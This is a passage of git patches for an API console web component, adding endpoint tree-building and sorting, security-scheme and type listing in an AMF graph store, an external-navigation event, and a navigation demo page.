+  margin-bottom: 8px;
+}
+
+.new-tab {
+  margin-left: 8px;
+  width: 20px;
+  height: 20px;
+  color: var(--api-navigation-new-tab-icon-color, #434343);
+}
+
+.empty-section {
+  padding-left: 16px;
+}
+`;
diff --git a/src/events/DocumentationEvents.d.ts b/src/events/DocumentationEvents.d.ts
index 4098d6e..f19eef3 100644
--- a/src/events/DocumentationEvents.d.ts
+++ b/src/events/DocumentationEvents.d.ts
@@ -1,6 +1,12 @@
 import { ApiDocumentation } from '../helpers/api';
 
 declare interface IDocumentationEvents {
+  /**
+   * Lists the documentation definitions for the API.
+   * @param target The node on which to dispatch the event
+   * @returns The list of documentations.
+   */
+  list(target: EventTarget): Promise<ApiDocumentation[]>;
   /**
    * Reads RAML's/OAS's documentation page.
    * @param target The node on which to dispatch the event
diff --git a/src/events/EventTypes.d.ts b/src/events/EventTypes.d.ts
index a9e6353..ffbcc68 100644
--- a/src/events/EventTypes.d.ts
+++ b/src/events/EventTypes.d.ts
@@ -36,6 +36,7 @@ declare interface ApiEvents {
 }
 declare interface Navigation {
   apiNavigate: string;
+  navigateExternal: string;
 }
 
 declare interface EndpointEvents {
diff --git a/src/events/EventTypes.js b/src/events/EventTypes.js
index bdd710f..8d970cb 100644
--- a/src/events/EventTypes.js
+++ b/src/events/EventTypes.js
@@ -37,6 +37,7 @@ export const EventTypes = Object.freeze({
   }),
   Navigation: Object.freeze({
     apiNavigate: 'apinavigate',
+    navigateExternal: 'apinavigateexternal',
   }),
   Endpoint: Object.freeze({
     get: 'amfstoreendpointget',
@@ -66,6 +67,6 @@ export const EventTypes = Object.freeze({
   }),
   Type: Object.freeze({
     get: 'amfstoretypeget',
-    list: 'amfstoretypeget',
+    list: 'amfstoretypelist',
   }),
 });
diff --git a/src/events/NavigationEvents.d.ts b/src/events/NavigationEvents.d.ts
index 583e572..3934c03 100644
--- a/src/events/NavigationEvents.d.ts
+++ b/src/events/NavigationEvents.d.ts
@@ -39,6 +39,16 @@ export declare interface INavigationEvents {
    * @param passive Whether the selection came from the system processing rather than user interaction.
    */
   apiNavigate(target: EventTarget, domainId: string, domainType: SelectionType, parentId?: string, passive?: boolean): void;
+  /**
+   * Dispatches an event to inform the application to open a browser window.
+   * This is a general purpose action. It has the `detail` object with optional
+   * `purpose` property which can be used to support different kind of external navigation.
+   * 
+   * @param target A node on which to dispatch the event.
+   * @param url The URL to open
+   * @returns True when the event was cancelled meaning the navigation handled.
+   */
+  navigateExternal(target: EventTarget, url: string): boolean;
 }
 
 export declare const NavigationEvents: Readonly<INavigationEvents>;
diff --git a/src/events/NavigationEvents.js b/src/events/NavigationEvents.js
index cfa9834..aa43415 100644
--- a/src/events/NavigationEvents.js
+++ b/src/events/NavigationEvents.js
@@ -36,5 +36,26 @@ export const NavigationEvents = {
     const e = new ApiNavigationEvent(domainId, domainType, parentId, passive);
     target.dispatchEvent(e);
   },
+  /**
+   * Dispatches an event to inform the application to open a browser window.
+   * This is a general purpose action. It has the `detail` object with optional
+   * `purpose` property which can be used to support different kind of external navigation.
+   * 
+   * @param {EventTarget} target A node on which to dispatch the event.
+   * @param {string} url The URL to open
+   * @returns {boolean} True when the event was cancelled meaning the navigation was handled.
+   */
+  navigateExternal: (target, url) => {
+    const e = new CustomEvent(EventTypes.Navigation.navigateExternal, {
+      bubbles: true,
+      composed: true,
+      cancelable: true,
+      detail: {
+        url,
+      },
+    });
+    target.dispatchEvent(e);
+    return e.defaultPrevented;
+  },
 }
 Object.freeze(NavigationEvents);
diff --git a/src/helpers/AmfHelperMixin.d.ts b/src/helpers/AmfHelperMixin.d.ts
index 1da362d..d5f43d5 100644
--- a/src/helpers/AmfHelperMixin.d.ts
+++ b/src/helpers/AmfHelperMixin.d.ts
@@ -435,4 +435,11 @@ interface AmfHelperMixin {
    * @returns Type definition or undefined if not found.
    */
   [computeReferenceSecurity](reference: DomainElement, selected: string, context?: Record<string, string>): SecurityScheme|undefined;
+  /**
+   * Collects domain objects by a domain type.
+   * @param source The element to search for declare/encoded objects.
+   * @param type The domain type
+   * @param context A context to use. If not set, it looks for the context of the passed model
+   */
+  getByType(source: DomainElement, type: string, context?: Record<string, string>): DomainElement[];
 }
diff --git a/src/helpers/AmfHelperMixin.js b/src/helpers/AmfHelperMixin.js
index 67f1908..e48c844 100644
--- a/src/helpers/AmfHelperMixin.js
+++ b/src/helpers/AmfHelperMixin.js
@@ -1204,4 +1204,39 @@ export const AmfHelperMixin = (base) => class extends base {
     }
     return this._resolve(result);
   }
+
+  /**
+   * Collects domain objects by a domain type.
+   * @param {DomainElement} source The element to search for declare/encoded objects.
+   * @param {string} type The domain type
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
+   * @returns {DomainElement[]}
+   */
+  getByType(source, type, context) {
+    if (!source) {
+      return [];
+    }
+    let result = [];
+    const declares = this._computeDeclares(source);
+    const key = this._getAmfKey(type, context);
+    if (declares && declares.length) {
+      declares.forEach((declared) => {
+        if (this._hasType(declared, key)) {
+          result.push(declared);
+        }
+      });
+    }
+    const references = this._computeReferences(source);
+    if (Array.isArray(references) && references.length) {
+      for (const ref of references) {
+        if (this._hasType(ref, this.ns.aml.vocabularies.document.Module)) {
+          const items = this.getByType(ref, type, context);
+          if (items.length) {
+            result = result.concat(items);
+          }
+        }
+      }
+    }
+    return result;
+  }
 };
diff --git a/src/helpers/AmfSerializer.d.ts b/src/helpers/AmfSerializer.d.ts
index ec8d9e6..acd85a5 100644
--- a/src/helpers/AmfSerializer.d.ts
+++ b/src/helpers/AmfSerializer.d.ts
@@ -25,6 +25,7 @@ import {
 import {
   ApiEndPointWithOperationsListItem,
   ApiOperationListItem,
+  ApiSecuritySchemeListItem,
 } from '../types'
 
 /**
@@ -159,7 +160,11 @@ export declare class AmfSerializer extends AmfHelperMixin(Object) {
    * @returns Serialized ParametrizedSecurityScheme
    */
   parametrizedSecurityScheme(object: ParametrizedSecurityScheme, context?: Record<string, string>): ApiParametrizedSecurityScheme;
-
+  /**
+   * @param object The SecurityScheme to serialize as a list item.
+   * @returns Serialized SecurityScheme
+   */
+  securitySchemeListItem(object: SecurityScheme, context?: Record<string, string>): ApiSecuritySchemeListItem;
   /**
    * @param object The SecurityScheme to serialize.
    * @returns Serialized SecurityScheme
diff --git a/src/helpers/AmfSerializer.js b/src/helpers/AmfSerializer.js
index dea5051..0b12106 100644
--- a/src/helpers/AmfSerializer.js
+++ b/src/helpers/AmfSerializer.js
@@ -117,6 +117,7 @@ import { AmfHelperMixin, expandKey, findAmfType, getArrayItems } from "./AmfHelp
 /** @typedef {import('./amf').License} License */
 /** @typedef {import('../types').ApiEndPointWithOperationsListItem} ApiEndPointWithOperationsListItem */
 /** @typedef {import('../types').ApiOperationListItem} ApiOperationListItem */
+/** @typedef {import('../types').ApiSecuritySchemeListItem} ApiSecuritySchemeListItem */
 
 /**
  * A class that takes AMF's ld+json model and outputs JavaScript interface of it.
@@ -1858,6 +1859,35 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
     return result;
   }
 
+  /**
+   * @param {SecurityScheme} object The SecurityScheme to serialize as a list item.
+   * @param {Record<string, string>=} context
+   * @returns {ApiSecuritySchemeListItem} Serialized SecurityScheme
+   */
+  securitySchemeListItem(object, context) {
+    const objectContext = context || object['@context'];
+    
+    const result = /** @type ApiSecuritySchemeListItem */ ({
+      id: object['@id'],
+      types: this.readTypes(object['@type'], objectContext),
+      type: '',
+    });
+    const { ns } = this;
+    const type = this._getValue(object, ns.aml.vocabularies.security.type, objectContext);
+    if (type && typeof type === 'string') {
+      result.type = type;
+    }
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, objectContext);
+    if (name && typeof name === 'string') {
+      result.name = name;
+    }
+    const displayName = this._getValue(object, ns.aml.vocabularies.core.displayName, objectContext);
+    if (displayName && typeof displayName === 'string') {
+      result.displayName = displayName;
+    }
+    return result;
+  }
+
   /**
    * @param {SecurityScheme} object The SecurityScheme to serialize.
    * @param {Record<string, string>=} context
diff --git a/src/helpers/Namespace.d.ts b/src/helpers/Namespace.d.ts
index c1f83bc..b53f1df 100644
--- a/src/helpers/Namespace.d.ts
+++ b/src/helpers/Namespace.d.ts
@@ -159,6 +159,7 @@ interface ApiContract {
 interface Shapes {
   toString(): string;
   key: string;
+  Shape: string;
   ScalarShape: string;
   ArrayShape: string;
   UnionShape: string;
diff --git a/src/helpers/Namespace.js b/src/helpers/Namespace.js
index 970f1a1..8c75208 100644
--- a/src/helpers/Namespace.js
+++ b/src/helpers/Namespace.js
@@ -170,6 +170,7 @@ ns.aml.vocabularies.shapes = {};
 ns.aml.vocabularies.shapes.key = `${ns.aml.vocabularies.key}shapes#`;
 const shapesKey = ns.aml.vocabularies.shapes.key;
 ns.aml.vocabularies.shapes.toString = () => shapesKey;
+ns.aml.vocabularies.shapes.Shape = `${shapesKey}Shape`;
 ns.aml.vocabularies.shapes.ScalarShape = `${shapesKey}ScalarShape`;
 ns.aml.vocabularies.shapes.ArrayShape = `${shapesKey}ArrayShape`;
 ns.aml.vocabularies.shapes.UnionShape = `${shapesKey}UnionShape`;
diff --git a/src/lib/ApiSorting.d.ts b/src/lib/ApiSorting.d.ts
new file mode 100644
index 0000000..6b943bc
--- /dev/null
+++ b/src/lib/ApiSorting.d.ts
@@ -0,0 +1,8 @@
+import { ApiEndPointListItem } from "../types";
+
+export declare class ApiSorting {
+  /**
+   * Sorts endpoints by path.
+   */
+  static sortEndpointsByPath(list: ApiEndPointListItem[]): ApiEndPointListItem[];
+}
diff --git a/src/lib/ApiSorting.js b/src/lib/ApiSorting.js
new file mode 100644
index 0000000..924616d
--- /dev/null
+++ b/src/lib/ApiSorting.js
@@ -0,0 +1,21 @@
+/** @typedef {import('../types').ApiEndPointListItem} ApiEndPointListItem */
+
+export class ApiSorting {
+  /**
+   * Sorts endpoints by path.
+   * @param {ApiEndPointListItem[]} list 
+   * @returns {ApiEndPointListItem[]}
+   */
+  static sortEndpointsByPath(list) {
+    list.sort((a,b) => {
+      if (a.path < b.path){
+        return -1;
+      }
+      if (a.path > b.path){
+        return 1;
+      }
+      return 0;
+    });
+    return list;
+  }
+}
diff --git a/src/lib/EndpointsTree.d.ts b/src/lib/EndpointsTree.d.ts
new file mode 100644
index 0000000..61d8664
--- /dev/null
+++ b/src/lib/EndpointsTree.d.ts
@@ -0,0 +1,39 @@
+import { ApiEndPointListItem, ApiEndpointsTreeItem } from "../types";
+
+export interface CommonRootInfo {
+  index: number;
+  item: ApiEndpointsTreeItem;
+  common: string;
+}
+
+/**
+ * A class that transforms the list of endpoints and methods into
+ * a tree structure with indentation
+ */
+export declare class EndpointsTree {
+  result: ApiEndpointsTreeItem[];
+  indents: Record<string, number>;
+  constructor();
+
+  /**
+   * @param list Sorted list of endpoints.
+   */
+  create(list: ApiEndPointListItem[]): ApiEndpointsTreeItem[];
+
+  /**
+   * @param parts Path parts of the currently evaluated endpoint
+   */
+  findParentEndpoint(parts: string[]): string|undefined;
+
+  /**
+   * @param parts Path parts of the currently evaluated endpoint
+   */
+  findCommonRootInfo(parts: string[]): CommonRootInfo|undefined;
+
+  prepareLabel(item: ApiEndpointsTreeItem, prevPath?: string): ApiEndpointsTreeItem;
+
+  /**
+   * Updates paths and indentation of children after inserting a new (abstract) parent.
+   */
+  postInsertParent(parent: ApiEndpointsTreeItem): void;
+}
diff --git a/src/lib/EndpointsTree.js b/src/lib/EndpointsTree.js
new file mode 100644
index 0000000..6b62f28
--- /dev/null
+++ b/src/lib/EndpointsTree.js
@@ -0,0 +1,195 @@
+/* eslint-disable no-param-reassign */
+/* eslint-disable no-continue */
+/* eslint-disable no-plusplus */
+/* eslint-disable class-methods-use-this */
+/** @typedef {import('../types').ApiEndPointListItem} ApiEndPointListItem */
+/** @typedef {import('../types').ApiEndpointsTreeItem} ApiEndpointsTreeItem */
+/** @typedef {import('./EndpointsTree').CommonRootInfo} CommonRootInfo */
+
+/**
+ * A class that transforms the list of endpoints and methods into
+ * a tree structure with indentation
+ */
+export class EndpointsTree {
+  constructor() {
+    /** 
+     * @type ApiEndpointsTreeItem[] 
+     */
+    this.result = [];
+    /** @type Record<string, number> */
+    this.indents = {};
+  }
+
+  /**
+   * @param {ApiEndPointListItem[]} list Sorted list of endpoints.
+   * @returns {ApiEndpointsTreeItem[]}
+   */
+  create(list) {
+    if (!Array.isArray(list) || !list.length) {
+      return [];
+    }
+    const { result, indents } = this;
+    let prev = /** @type ApiEndpointsTreeItem */ (null);
+    for (let i = 0, len = list.length; i < len; i++) {
+      const item = /** @type ApiEndpointsTreeItem */ ({ ...list[i], indent: 0, label: '' });
+      const { path } = item;
+      const parts = path.split('/');
+      const hasParts = parts.length > 1 && !(parts.length === 2 && !parts[0]);
+      if (i === 0) {
+        if (hasParts) {
+          const parent = {
+            indent: 0,
+            path: parts.slice(0, parts.length - 1).join('/'),
+            label: undefined,
+            operations: [],
+            hasChildren: true,
+          };
+          parent.label = parent.path;
+          prev = parent;
+          indents[parent.path] = item.indent;
+          result.push(parent);
+        } else {
+          prev = item;
+          indents[item.path] = item.indent;
+          result.push(this.prepareLabel(item));
+          continue;
+        }
+      }
+      // this is similar to the next block but is faster when the previous item is parent.
+      if (path.startsWith(prev.path)) {
+        item.indent = prev.indent + 1;
+        prev.hasChildren = true;
+        indents[item.path] = item.indent;
+        result.push(this.prepareLabel(item, prev.path));
+        prev = item;
+        continue;
+      }
+      const upPath = this.findParentEndpoint(parts);
+      if (upPath) {
+        item.indent = indents[upPath] + 1;
+        const parent = result.find((p) => p.path === upPath);
+        parent.hasChildren = true;
+        indents[item.path] = item.indent;
+        result.push(this.prepareLabel(item, upPath));
+      } else {
+        if (hasParts) {
+          const info = this.findCommonRootInfo(parts);
+          if (info) {
+            const parent = {
+              indent: info.item.indent,
+              path: info.common,
+              label: info.common,
+              operations: [],
+              hasChildren: true,
+            };
+            this.postInsertParent(parent);
+            indents[parent.path] = parent.indent;
+            result.splice(info.index, 0, parent);
+            item.indent = parent.indent + 1;
+            indents[item.path] = item.indent;
+            result.push(this.prepareLabel(item, parent.path));
+            continue;
+          }
+        }
+        item.indent = 0;
+        indents[item.path] = item.indent;
+        result.push(this.prepareLabel(item));
+      }
+      prev = item;
+    }
+    return result;
+  }
+
+  /**
+   * @param {string[]} parts Path parts of the currently evaluated endpoint
+   */
+  findParentEndpoint(parts) {
+    const { indents } = this;
+    const list = Array.from(parts);
+    const compare = Object.keys(indents).reverse();
+    // eslint-disable-next-line no-constant-condition
+    while (true) {
+      const path = list.join('/');
+      if (!path) {
+        break;
+      }
+      const upPath = compare.find((candidate) => path.startsWith(candidate));
+      if (upPath) {
+        return upPath;
+      }
+      list.pop();
+      if (!list.length) {
+        break;
+      }
+    }
+    return undefined;
+  }
+
+  /**
+   * @param {string[]} parts Path parts of the currently evaluated endpoint
+   * @returns {CommonRootInfo|undefined}
+   */
+  findCommonRootInfo(parts) {
+    const { result } = this;
+    const list = Array.from(parts);
+    // eslint-disable-next-line no-constant-condition
+    while (true) {
+      list.pop();
+      if (!list.length) {
+        break;
+      }
+      const path = list.join('/');
+      if (!path) {
+        break;
+      }
+      const index = result.findIndex((candidate) => candidate.path.startsWith(path));
+      if (index !== -1) {
+        return {
+          index,
+          item: result[index],
+          common: path,
+        };
+      }
+    }
+    return undefined;
+  }
+
+  /**
+   * @param {ApiEndpointsTreeItem} item 
+   * @param {string=} prevPath 
+   * @returns {ApiEndpointsTreeItem}
+   */
+  prepareLabel(item, prevPath) {
+    const { name, path, indent } = item;
+    item.label = path;
+    if (name) {
+      item.label = name;
+    } else if (indent > 0 && prevPath) {
+      let label = item.label.replace(prevPath, '');
+      if (label.startsWith('-')) {
+        label = label.substr(1);
+      }
+      item.label = label
+      item.hasShortPath = true;
+      if (!item.label.startsWith('/')) {
+        item.label = `/${item.label}`;
+      }
+    }
+    return item;
+  }
+
+  /**
+   * Updates paths and indentation of children after inserting a new (abstract) parent.
+   * @param {ApiEndpointsTreeItem} parent 
+   */
+  postInsertParent(parent) {
+    const { result } = this;
+    result.forEach((item) => {
+      const { path } = item;
+      if (path.startsWith(parent.path)) {
+        item.indent += 1;
+        item.label = item.label.replace(parent.path, '');
+      }
+    });
+  }
+}
diff --git a/src/lib/Utils.js b/src/lib/Utils.js
index 4c7ae56..1829a4b 100644
--- a/src/lib/Utils.js
+++ b/src/lib/Utils.js
@@ -15,6 +15,16 @@ import { ns } from '../helpers/Namespace.js';
 /** @typedef {import('../helpers/api').ApiParametrizedDeclaration} ApiParametrizedDeclaration */
 /** @typedef {import('../types').OperationParameter} OperationParameter */
 
+/**
+ * Stops an event and cancels it.
+ * @param {Event} e The event to stop
+ */
+export function cancelEvent(e) {
+  e.preventDefault();
+  e.stopPropagation();
+  e.stopImmediatePropagation();
+}
+
 /**
  * @param {string[]} types Shape's types
  */
diff --git a/src/store/InMemAmfGraphStore.js b/src/store/InMemAmfGraphStore.js
index 592430d..adc4e37 100644
--- a/src/store/InMemAmfGraphStore.js
+++ b/src/store/InMemAmfGraphStore.js
@@ -200,11 +200,11 @@ export class InMemAmfGraphStore extends AmfHelperMixin(AmfStore) {
   async getEndpointByPath(path) {
     const { amf } = this;
     if (!amf) {
-      return null;
+      return undefined;
     }
     const api = this._computeApi(amf);
     if (!api) {
-      return null;
+      return undefined;
     }
     const endpoints = this._computeEndpoints(api);
     if (!Array.isArray(endpoints) || !endpoints.length) {
@@ -225,7 +225,7 @@ export class InMemAmfGraphStore extends AmfHelperMixin(AmfStore) {
   async listEndpointsWithOperations() {
     const { amf } = this;
     if (!amf) {
-      return null;
+      return [];
     }
     const api = this._computeApi(amf);
     if (!api) {
@@ -246,7 +246,7 @@ export class InMemAmfGraphStore extends AmfHelperMixin(AmfStore) {
   async queryServers(query) {
     const { amf } = this;
     if (!amf) {
-      return null;
+      return undefined;
     }
     const servers = this._getServers(query);
     if (!Array.isArray(servers)) {
@@ -271,11 +271,11 @@ export class InMemAmfGraphStore extends AmfHelperMixin(AmfStore) {
     }
     const { amf } = this;
     if (!amf) {
-      return null;
+      return undefined;
     }
     const api = this._computeApi(amf);
     if (!api) {
-      return null;
+      return undefined;
     }
     const endpoints = this._computeEndpoints(api);
     if (!endpoints) {
@@ -322,11 +322,11 @@ export class InMemAmfGraphStore extends AmfHelperMixin(AmfStore) {
   async getOperationParent(id) {
     const { amf } = this;
     if (!amf) {
-      return null;
+      return undefined;
     }
     const api = this._computeApi(amf);
     if (!api) {
-      return null;
+      return undefined;
     }
     const endpoint = this._computeMethodEndpoint(api, id);
     if (!endpoint) {
@@ -343,15 +343,25 @@ export class InMemAmfGraphStore extends AmfHelperMixin(AmfStore) {
   async listDocumentations() {
     const { amf } = this;
     if (!amf) {
-      return null;
+      return undefined;
+    }
+    if (this._hasType(amf, this.ns.aml.vocabularies.apiContract.UserDocumentationFragment)) {
+      const model = this._computeEncodes(amf);
+      if (!model) {
+        return undefined;
+      }
+      return [this.serializer.documentation(model)];
     }
     const api = this._computeApi(amf);
     if (!api) {
-      return null;
+      return undefined;
     }
-    const key = this._getAmfKey(this.ns.aml.vocabularies.core.CreativeWork);
+    const key = this._getAmfKey(this.ns.aml.vocabularies.core.documentation);
     const docs = this._ensureArray(api[key]);
-    return docs.map((doc) => this.serializer.documentation(doc));
+    if (docs) {
+      return docs.map((doc) => this.serializer.documentation(doc));
+    }
+    return undefined;
   }
 
   /**
@@ -362,7 +372,7 @@ export class InMemAmfGraphStore extends AmfHelperMixin(AmfStore) {
   async getDocumentation(id) {
     const { amf } = this;
     if (!amf) {
-      return null;
+      return undefined;
     }
     const types = this.getDocumentTypes();
     // when we have loaded Documentation fragment then the id doesn't matter.
@@ -446,7 +456,19 @@ export class InMemAmfGraphStore extends AmfHelperMixin(AmfStore) {
    * @returns {Promise<ApiSecuritySchemeListItem[]>}
    */
   async listSecurity() {
-    throw new Error(`Not implemented`);
+    const { amf } = this;
+    if (!amf) {
+      return undefined;
+    }
+    if (this._hasType(amf, this.ns.aml.vocabularies.security.SecuritySchemeFragment)) {
+      const model = this._computeEncodes(amf);
+      if (!model) {
+        return undefined;
+      }
+      return [this.serializer.securitySchemeListItem(model)];
+    }
+    const items = this.getByType(amf, this.ns.aml.vocabularies.security.SecurityScheme);
+    return items.map(item => this.serializer.securitySchemeListItem(item));
   }
 
   /**
@@ -590,7 +612,19 @@ export class InMemAmfGraphStore extends AmfHelperMixin(AmfStore) {
    * @returns {Promise<ApiNodeShapeListItem[]>}
    */
   async listTypes() {
-    throw new Error(`Not implemented`);
+    const { amf } = this;
+    if (!amf) {
+      return undefined;
+    }
+    if (this._hasType(amf, this.ns.aml.vocabularies.shapes.DataTypeFragment)) {
+      const model = this._computeEncodes(amf);
+      if (!model) {
+        return undefined;
+      }
+      return [this.serializer.unknownShape(model)];
+    }
+    const items = this.getByType(amf, this.ns.aml.vocabularies.shapes.Shape);
+    return items.map(item => this.serializer.unknownShape(item));
   }
 
   /**
diff --git a/src/types.d.ts b/src/types.d.ts
index fa688c2..ff166be 100644
--- a/src/types.d.ts
+++ b/src/types.d.ts
@@ -1,5 +1,5 @@
 import { HTTPRequest, RequestAuthorization } from '@advanced-rest-client/events/src/request/ArcRequest';
-import { ApiParameter, ApiShapeUnion, ApiSecurityRequirement, ApiServer, ApiEndPoint, ApiExample } from './helpers/api';
+import { ApiParameter, ApiShapeUnion, ApiSecurityRequirement, ApiServer, ApiEndPoint, ApiExample, ApiDocumentation } from './helpers/api';
 import { default as XhrSimpleRequestTransportElement } from './elements/XhrSimpleRequestTransportElement';
 
 export declare interface ApiConsoleRequest extends HTTPRequest {
@@ -199,41 +199,79 @@ export declare interface UpdateServersOptions {
 export type ServerType = 'server' | 'custom' | 'extra';
 export type SelectionType = 'summary' | 'resource' | 'operation' | 'schema' | 'security' | 'documentation';
 
-export declare interface NavigationItem {
-  label: string;
-  id: string;
+interface SelectableMenuItem {
+  /**
+   * Whether the item is a selected menu item.
+   */
+  selected?: boolean;
+  /**
+   * Whether the item has secondary selection.
+   * This happens when a "passive" selection has been applied to the item.
+   */
+  secondarySelected?: boolean;
 }
 
-export declare interface MethodItem extends NavigationItem {
-  method: string;
+interface EditableMenuItem {
+  /**
+   * When set the name editor for the item is enabled.
+   */
+  nameEditor?: boolean;
 }
 
-export declare interface EndpointItem extends NavigationItem {
+
+export interface ApiEndPointListItem {
+  /**
+   * The domain id of the endpoint.
+   * It may be undefined when the endpoint is created "abstract" endpoint vor the visualization.
+   */
+  id?: string;
   path: string;
-  renderPath: boolean;
+  name?: string;
+}
+
+export interface ApiEndPointWithOperationsListItem extends ApiEndPointListItem {
+  operations: ApiOperationListItem[];
+}
+
+export interface ApiOperationListItem {
+  id: string;
+  method: string;
+  name?: string;
+}
+
+export interface ApiEndpointsTreeItem extends ApiEndPointWithOperationsListItem {
+  label: string;
   indent: number;
-  methods: MethodItem[];
+  hasShortPath?: boolean;
+  hasChildren?: boolean;
 }
 
-export declare interface SecurityItem extends NavigationItem {}
+export interface ApiSecuritySchemeListItem {
+  id: string;
+  type: string;
+  name?: string;
+  displayName?: string;
+}
 
-export declare interface TypeItem extends NavigationItem {}
+export declare interface ApiNodeShapeListItem {
+  id: string;
+  name?: string;
+  displayName?: string;
+}
 
-export declare interface DocumentationItem extends NavigationItem {
-  /**
-   * When set the documentation item refers to an external document
-   */
-  isExternal: boolean;
-  /**
-   * Only set when `isExternal` equals `true`.
-   * An URL for the external documentation.
-   */
-  url?: string;
+export declare interface EndpointItem extends ApiEndpointsTreeItem, SelectableMenuItem, EditableMenuItem {
+  operations: OperationItem[];
 }
 
+export declare interface OperationItem extends ApiOperationListItem, SelectableMenuItem, EditableMenuItem {}
+export declare interface NodeShapeItem extends ApiNodeShapeListItem, SelectableMenuItem, EditableMenuItem {}
+export declare interface SecurityItem extends ApiSecuritySchemeListItem, SelectableMenuItem {}
+export declare interface DocumentationItem extends ApiDocumentation, SelectableMenuItem, EditableMenuItem {}
+export declare type SchemaAddType = 'scalar'|'object'|'file'|'array'|'union';
+
 export declare interface TargetModel {
   documentation?: DocumentationItem[];
-  types?: TypeItem[];
+  types?: NodeShapeItem[];
   securitySchemes?: SecurityItem[];
   endpoints?: EndpointItem[];
   _typeIds?: string[];
@@ -334,46 +372,6 @@ export interface ApiSchemaReadOptions {
   fromExamples?: boolean;
 }
 
-export interface ApiEndPointListItem {
-  /**
-   * The domain id of the endpoint.
-   * It may be undefined when the endpoint is created "abstract" endpoint vor the visualization.
-   */
-  id?: string;
-  path: string;
-  name?: string;
-}
-
-export interface ApiEndPointWithOperationsListItem extends ApiEndPointListItem {
-  operations: ApiOperationListItem[];
-}
-
-export interface ApiOperationListItem {
-  id: string;
-  method: string;
-  name?: string;
-}
-
-export interface ApiEndpointsTreeItem extends ApiEndPointWithOperationsListItem {
-  label: string;
-  indent: number;
-  hasShortPath?: boolean;
-  hasChildren?: boolean;
-}
-
-export interface ApiSecuritySchemeListItem {
-  id: string;
-  type: string;
-  name?: string;
-  displayName?: string;
-}
-
-export declare interface ApiNodeShapeListItem {
-  id: string;
-  name?: string;
-  displayName?: string;
-}
-
 export interface DocumentMeta {
   /**
    * True when the loaded document represent an API (in an opposite to a fragment or a partial model).

From 7113f2d6cf9521cf4b7ef107e71fecf5a73f5f9b Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Sat, 23 Oct 2021 13:28:45 -0700
Subject: [PATCH 34/36] chore: adding navigation layout options

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 demo/api-navigation.html                      |  25 +++
 demo/api-navigation.js                        | 168 ++++++++++++++++++
 demo/apis/types-list/exchange.json            |   1 +
 demo/apis/types-list/library.raml             |   7 +
 .../apis/types-list/typeFromDataTypeFile.raml |   6 +
 demo/apis/types-list/types-list.raml          |  38 ++++
 demo/demo.css                                 |   4 +
 demo/index.html                               |   2 +
 demo/model.mjs                                |   1 +
 src/elements/ApiNavigationElement.d.ts        |  39 +++-
 src/elements/ApiNavigationElement.js          |  83 +++++++--
 src/elements/ApiNavigationLegacyElement.d.ts  |  43 ++++-
 src/elements/ApiNavigationLegacyElement.js    |  14 +-
 .../{ => navigation-layout}/ApiSorting.d.ts   |   2 +-
 src/lib/{ => navigation-layout}/ApiSorting.js |   2 +-
 .../EndpointsTree.d.ts                        |   2 +-
 .../{ => navigation-layout}/EndpointsTree.js  |   4 +-
 src/lib/navigation-layout/NaturalTree.js      |  81 +++++++++
 src/types.d.ts                                |   9 +
 19 files changed, 495 insertions(+), 36 deletions(-)
 create mode 100644 demo/api-navigation.html
 create mode 100644 demo/api-navigation.js
 create mode 100755 demo/apis/types-list/exchange.json
 create mode 100755 demo/apis/types-list/library.raml
 create mode 100755 demo/apis/types-list/typeFromDataTypeFile.raml
 create mode 100755 demo/apis/types-list/types-list.raml
 rename src/lib/{ => navigation-layout}/ApiSorting.d.ts (75%)
 rename src/lib/{ => navigation-layout}/ApiSorting.js (82%)
 rename src/lib/{ => navigation-layout}/EndpointsTree.d.ts (93%)
 rename src/lib/{ => navigation-layout}/EndpointsTree.js (97%)
 create mode 100644 src/lib/navigation-layout/NaturalTree.js

diff --git a/demo/api-navigation.html b/demo/api-navigation.html
new file mode 100644
index 0000000..1adc700
--- /dev/null
+++ b/demo/api-navigation.html
@@ -0,0 +1,25 @@
+<!DOCTYPE html>
+<html lang="en">
+
+<head>
+  <meta charset="utf-8">
+  <meta name="viewport" content="width=device-width, minimum-scale=1, initial-scale=1, user-scalable=yes">
+  <title>API Navigation</title>
+  <link rel="preconnect" href="https://fonts.googleapis.com">
+  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+  <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100;300;400;500;700;900&display=swap" rel="stylesheet">
+  <link href="styles/console-theme.css" rel="stylesheet" type="text/css" />
+  <link rel="stylesheet" href="./demo.css" />
+  <style>
+    api-navigation {
+      max-width: 420px;
+    }
+  </style>
+</head>
+
+<body class="demo styled">
+  <div id="demo"></div>
+  <script type="module" src="api-navigation.js"></script>
+</body>
+
+</html>
diff --git a/demo/api-navigation.js b/demo/api-navigation.js
new file mode 100644
index 0000000..06a50a2
--- /dev/null
+++ b/demo/api-navigation.js
@@ -0,0 +1,168 @@
+import { html } from 'lit-html';
+import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
+import '@anypoint-web-components/awc/anypoint-checkbox.js';
+import '@anypoint-web-components/awc/anypoint-radio-button.js';
+import '@anypoint-web-components/awc/anypoint-radio-group.js';
+import { AmfDemoBase } from './lib/AmfDemoBase.js';
+import '../define/api-navigation.js';
+
+/** @typedef {import('../').NavigationLayout} NavigationLayout */
+/** @typedef {import('@anypoint-web-components/awc').AnypointRadioGroupElement} AnypointRadioGroupElement */
+/** @typedef {import('@anypoint-web-components/awc').AnypointRadioButtonElement} AnypointRadioButtonElement */
+
+class ComponentPage extends AmfDemoBase {
+  constructor() {
+    super();
+    this.initObservableProperties([ 
+      'summary', 'filter', 'edit', 'layout',
+    ]);
+    this.componentName = 'api-navigation';
+    this.noApiNavigation = true;
+    this.summary = true;
+    this.filter = false;
+    this.edit = false;
+    /** @type NavigationLayout */
+    this.layout = undefined;
+  }
+
+  /**
+   * @param {CustomEvent} e
+   */
+  _navigationHandler(e) {
+    console.log(e.detail);
+  }
+
+  /** @param {Event} e */
+  _toggleLayoutOption(e) {
+    const group = /** @type AnypointRadioGroupElement */ (e.target);
+    const item = /** @type AnypointRadioButtonElement */ (group.selectedItem);
+    if (!item) {
+      this.layout = undefined;
+    } else {
+      this.layout = item.value;
+    }
+    console.log(item.value);
+  }
+
+  contentTemplate() {
+    return html`
+      <h2>API navigation</h2>
+      ${this.demoTemplate()}
+    `;
+  }
